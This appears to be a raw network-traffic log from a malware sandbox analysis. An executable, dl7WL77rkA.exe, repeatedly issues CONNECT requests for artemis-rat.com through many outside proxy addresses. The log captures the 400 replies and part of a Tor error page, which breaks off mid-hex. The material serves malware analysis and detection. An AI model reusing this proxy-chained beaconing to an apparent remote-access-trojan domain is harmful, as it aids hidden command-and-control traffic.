Mar 11, 2024 03:30:43.898401022 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1372	192.168.2.5	53634	36.92.81.181	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.746926069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1373	192.168.2.5	53750	162.159.250.145	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.747518063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.908642054 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1374	192.168.2.5	53752	162.159.246.135	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.747565985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.908795118 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1375	192.168.2.5	53370	98.178.72.21	10919	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.749219894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1376	192.168.2.5	53644	31.148.207.153	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.761409044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.099456072 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1377	192.168.2.5	53642	83.243.92.154	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.762885094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1378	192.168.2.5	53677	66.228.37.252	7841	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.769155979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.405045986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.202018023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.593286991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.405342102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.202124119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.998820066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.702166080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1379	192.168.2.5	53618	102.132.48.60	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.777966976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.694869995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1380	192.168.2.5	53659	40.76.160.143	9002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.782234907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1381	192.168.2.5	53724	129.213.150.205	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.819437981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1382	192.168.2.5	53657	195.87.217.75	3389	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.821592093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1383	192.168.2.5	53699	24.176.53.183	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.837626934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.445987940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.238980055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.702491999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.514614105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.352258921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.202020884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.796720028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1384	192.168.2.5	53804	172.67.182.96	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.858163118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.012917042 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1385	192.168.2.5	53672	114.156.77.107	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.858505964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1386	192.168.2.5	53285	192.111.130.5	17002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.870135069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1387	192.168.2.5	53667	54.36.122.16	29796	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.870498896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.592597961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.702131033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.592946053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.405174017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.202095032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.092616081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1388	192.168.2.5	53808	68.71.249.153	48606	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.887212992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1389	192.168.2.5	53676	185.110.190.99	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.887428999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.208940029 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1390	192.168.2.5	53571	203.124.53.122	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.918139935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1391	192.168.2.5	53744	47.243.114.192	8180	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.919640064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1392	192.168.2.5	53789	135.148.139.151	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.955616951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1393	192.168.2.5	53629	223.113.80.158	9091	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.956027985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.416925907 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1394	192.168.2.5	53680	202.139.198.15	3030	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.958268881 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.108352900 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 